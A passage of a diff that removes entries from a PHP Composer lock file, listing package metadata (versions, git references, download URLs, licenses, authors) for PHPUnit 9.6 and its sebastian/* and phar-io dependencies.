"2021-07-20T11:28:43+00:00" - }, - { - "name": "phar-io/version", - "version": "3.2.1", - "source": { - "type": "git", - "url": "https://github.com/phar-io/version.git", - "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", - "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", - "shasum": "" - }, - "require": { - "php": "^7.2 || ^8.0" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Library for handling version information and constraints", - "support": { - "issues": "https://github.com/phar-io/version/issues", - "source": "https://github.com/phar-io/version/tree/3.2.1" - }, - "time": "2022-02-21T01:04:05+00:00" - }, - { - "name": "phpunit/php-code-coverage", - "version": "9.2.30", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/ca2bd87d2f9215904682a9cb9bb37dda98e76089", - "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-libxml": "*", - "ext-xmlwriter": "*", - "nikic/php-parser": "^4.18 || ^5.0", - "php": ">=7.3", - "phpunit/php-file-iterator": "^3.0.3", - "phpunit/php-text-template": "^2.0.2", - "sebastian/code-unit-reverse-lookup": "^2.0.2", - "sebastian/complexity": "^2.0", - "sebastian/environment": "^5.1.2", - "sebastian/lines-of-code": "^1.0.3", - "sebastian/version": "^3.0.1", - "theseer/tokenizer": "^1.2.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-pcov": "PHP extension that provides line coverage", - "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "9.2-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", - "homepage": "https://github.com/sebastianbergmann/php-code-coverage", - "keywords": [ - "coverage", - "testing", - "xunit" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", - "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.30" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-12-22T06:47:57+00:00" - }, - { - "name": "phpunit/php-file-iterator", - "version": "3.0.6", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-file-iterator.git", - "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", - "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "FilterIterator implementation that filters files based on a list of suffixes.", - "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", - "keywords": [ - "filesystem", - "iterator" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", - "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/3.0.6" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2021-12-02T12:48:52+00:00" - }, - { - "name": "phpunit/php-invoker", - "version": "3.1.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-invoker.git", - "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/5a10147d0aaf65b58940a0b72f71c9ac0423cc67", - "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "ext-pcntl": "*", - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-pcntl": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.1-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Invoke callables with a timeout", - "homepage": "https://github.com/sebastianbergmann/php-invoker/", - "keywords": [ - "process" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-invoker/issues", - "source": "https://github.com/sebastianbergmann/php-invoker/tree/3.1.1" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-09-28T05:58:55+00:00" - }, - { - "name": "phpunit/php-text-template", - "version": "2.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-text-template.git", - "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", - "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Simple template engine.", - "homepage": "https://github.com/sebastianbergmann/php-text-template/", - "keywords": [ - "template" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-text-template/issues", - "source": "https://github.com/sebastianbergmann/php-text-template/tree/2.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T05:33:50+00:00" - }, - { - "name": "phpunit/php-timer", - "version": "5.0.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-timer.git", - "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", - "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Utility class for timing", - "homepage": "https://github.com/sebastianbergmann/php-timer/", - "keywords": [ - "timer" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-timer/issues", - "source": "https://github.com/sebastianbergmann/php-timer/tree/5.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T13:16:10+00:00" - }, - { - "name": "phpunit/phpunit", - "version": "9.6.17", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/phpunit.git", - "reference": "1a156980d78a6666721b7e8e8502fe210b587fcd" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/1a156980d78a6666721b7e8e8502fe210b587fcd", - "reference": "1a156980d78a6666721b7e8e8502fe210b587fcd", - "shasum": "" - }, - "require": { - "doctrine/instantiator": "^1.3.1 || ^2", - "ext-dom": "*", - "ext-json": "*", - "ext-libxml": "*", - "ext-mbstring": "*", - "ext-xml": "*", - "ext-xmlwriter": "*", - "myclabs/deep-copy": "^1.10.1", - "phar-io/manifest": "^2.0.3", - "phar-io/version": "^3.0.2", - "php": ">=7.3", - "phpunit/php-code-coverage": "^9.2.28", - "phpunit/php-file-iterator": "^3.0.5", - "phpunit/php-invoker": "^3.1.1", - "phpunit/php-text-template": "^2.0.3", - "phpunit/php-timer": "^5.0.2", - "sebastian/cli-parser": "^1.0.1", - "sebastian/code-unit": "^1.0.6", - "sebastian/comparator": "^4.0.8", - "sebastian/diff": "^4.0.3", - "sebastian/environment": "^5.1.3", - "sebastian/exporter": "^4.0.5", - "sebastian/global-state": "^5.0.1", - "sebastian/object-enumerator": "^4.0.3", - "sebastian/resource-operations": "^3.0.3", - "sebastian/type": "^3.2", - "sebastian/version": "^3.0.2" - }, - "suggest": { - "ext-soap": "To be able to generate mocks based on WSDL files", - "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" - }, - "bin": [ - "phpunit" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "9.6-dev" - } - }, - "autoload": { - "files": [ - "src/Framework/Assert/Functions.php" - ], - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "The PHP Unit Testing framework.", - "homepage": "https://phpunit.de/", - "keywords": [ - "phpunit", - "testing", - "xunit" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/phpunit/issues", - "security": "https://github.com/sebastianbergmann/phpunit/security/policy", - "source": "https://github.com/sebastianbergmann/phpunit/tree/9.6.17" - }, - "funding": [ - { - "url": "https://phpunit.de/sponsors.html", - "type": "custom" - }, - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/phpunit/phpunit", - "type": "tidelift" - } - ], - "time": "2024-02-23T13:14:51+00:00" - }, - { - "name": "sebastian/cli-parser", - "version": "1.0.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/cli-parser.git", - "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/442e7c7e687e42adc03470c7b668bc4b2402c0b2", - "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for parsing CLI options", - "homepage": "https://github.com/sebastianbergmann/cli-parser", - "support": { - "issues": "https://github.com/sebastianbergmann/cli-parser/issues", - "source": "https://github.com/sebastianbergmann/cli-parser/tree/1.0.1" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-09-28T06:08:49+00:00" - }, - { - "name": "sebastian/code-unit", - "version": "1.0.8", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/code-unit.git", - "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120", - "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Collection of value objects that represent the PHP code units", - "homepage": "https://github.com/sebastianbergmann/code-unit", - "support": { - "issues": "https://github.com/sebastianbergmann/code-unit/issues", - "source": "https://github.com/sebastianbergmann/code-unit/tree/1.0.8" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T13:08:54+00:00" - }, - { - "name": "sebastian/code-unit-reverse-lookup", - "version": "2.0.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", - "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", - "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Looks up which function or method a line of code belongs to", - "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", - "support": { - "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", - "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/2.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-09-28T05:30:19+00:00" - }, - { - "name": "sebastian/comparator", - "version": "4.0.8", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/comparator.git", - "reference": "fa0f136dd2334583309d32b62544682ee972b51a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/fa0f136dd2334583309d32b62544682ee972b51a", - "reference": "fa0f136dd2334583309d32b62544682ee972b51a", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/diff": "^4.0", - "sebastian/exporter": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@2bepublished.at" - } - ], - "description": "Provides the functionality to compare PHP values for equality", - "homepage": "https://github.com/sebastianbergmann/comparator", - "keywords": [ - "comparator", - "compare", - "equality" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/comparator/issues", - "source": "https://github.com/sebastianbergmann/comparator/tree/4.0.8" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2022-09-14T12:41:17+00:00" - }, - { - "name": "sebastian/complexity", - "version": "2.0.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/complexity.git", - "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/25f207c40d62b8b7aa32f5ab026c53561964053a", - "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a", - "shasum": "" - }, - "require": { - "nikic/php-parser": "^4.18 || ^5.0", - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for calculating the complexity of PHP code units", - "homepage": "https://github.com/sebastianbergmann/complexity", - "support": { - "issues": "https://github.com/sebastianbergmann/complexity/issues", - "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-12-22T06:19:30+00:00" - }, - { - "name": "sebastian/diff", - "version": "4.0.5", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/diff.git", - "reference": "74be17022044ebaaecfdf0c5cd504fc9cd5a7131" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/74be17022044ebaaecfdf0c5cd504fc9cd5a7131", - "reference": "74be17022044ebaaecfdf0c5cd504fc9cd5a7131", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3", - "symfony/process": "^4.2 || ^5" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Kore Nordmann", - "email": "mail@kore-nordmann.de" - } - ], - "description": "Diff implementation", - "homepage": "https://github.com/sebastianbergmann/diff", - "keywords": [ - "diff", - "udiff", - "unidiff", - "unified diff" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/diff/issues", - "source": "https://github.com/sebastianbergmann/diff/tree/4.0.5" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-05-07T05:35:17+00:00" - }, - { - "name": "sebastian/environment", - "version": "5.1.5", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/environment.git", - "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", - "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-posix": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.1-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides functionality to handle HHVM/PHP environments", - "homepage": "http://www.github.com/sebastianbergmann/environment", - "keywords": [ - "Xdebug", - "environment", - "hhvm" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/environment/issues", - "source": "https://github.com/sebastianbergmann/environment/tree/5.1.5" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-02-03T06:03:51+00:00" - }, - { - "name": "sebastian/exporter", - "version": "4.0.5", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/exporter.git", - "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", - "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "ext-mbstring": "*", - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@gmail.com" - } - ], - "description": "Provides the functionality to export PHP variables for visualization", - "homepage": "https://www.github.com/sebastianbergmann/exporter", - "keywords": [ - "export", - "exporter" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/exporter/issues", - "source": "https://github.com/sebastianbergmann/exporter/tree/4.0.5" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2022-09-14T06:03:37+00:00" - }, - { - "name": "sebastian/global-state", - "version": "5.0.6", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/global-state.git", - "reference": "bde739e7565280bda77be70044ac1047bc007e34" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/bde739e7565280bda77be70044ac1047bc007e34", - "reference": "bde739e7565280bda77be70044ac1047bc007e34", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/object-reflector": "^2.0", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "ext-dom": "*", - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-uopz": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Snapshotting of global state", - "homepage": "http://www.github.com/sebastianbergmann/global-state", - "keywords": [ - "global state" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/global-state/issues", - "source": "https://github.com/sebastianbergmann/global-state/tree/5.0.6" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-08-02T09:26:13+00:00" - }, - { - "name": "sebastian/lines-of-code", - "version": "1.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/lines-of-code.git", - "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/e1e4a170560925c26d424b6a03aed157e7dcc5c5", - "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5", - "shasum": "" - }, - "require": { - "nikic/php-parser": "^4.18 || ^5.0", - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library for counting the lines of code in PHP source code", - "homepage": "https://github.com/sebastianbergmann/lines-of-code", - "support": { - "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", - "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-12-22T06:20:34+00:00" - }, - { - "name": "sebastian/object-enumerator", - "version": "4.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/object-enumerator.git", - "reference": "5c9eeac41b290a3712d88851518825ad78f45c71" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/5c9eeac41b290a3712d88851518825ad78f45c71", - "reference": "5c9eeac41b290a3712d88851518825ad78f45c71", - "shasum": "" - }, - "require": { - "php": ">=7.3", - "sebastian/object-reflector": "^2.0", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Traverses array structures and object graphs to enumerate all referenced objects", - "homepage": "https://github.com/sebastianbergmann/object-enumerator/", - "support": { - "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", - "source": "https://github.com/sebastianbergmann/object-enumerator/tree/4.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T13:12:34+00:00" - }, - { - "name": "sebastian/object-reflector", - "version": "2.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/object-reflector.git", - "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", - "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Allows reflection of object attributes, including inherited and non-public ones", - "homepage": "https://github.com/sebastianbergmann/object-reflector/", - "support": { - "issues": "https://github.com/sebastianbergmann/object-reflector/issues", - "source": "https://github.com/sebastianbergmann/object-reflector/tree/2.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T13:14:26+00:00" - }, - { - "name": "sebastian/recursion-context", - "version": "4.0.5", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/recursion-context.git", - "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", - "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - } - ], - "description": "Provides functionality to recursively process PHP variables", - "homepage": "https://github.com/sebastianbergmann/recursion-context", - "support": { - "issues": "https://github.com/sebastianbergmann/recursion-context/issues", - "source": "https://github.com/sebastianbergmann/recursion-context/tree/4.0.5" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2023-02-03T06:07:39+00:00" - }, - { - "name": "sebastian/resource-operations", - "version": "3.0.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/resource-operations.git", - "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", - "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "description": "Provides a list of PHP built-in functions that operate on resources", - "homepage": "https://www.github.com/sebastianbergmann/resource-operations", - "support": { - "issues": "https://github.com/sebastianbergmann/resource-operations/issues", - "source": "https://github.com/sebastianbergmann/resource-operations/tree/3.0.3" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": 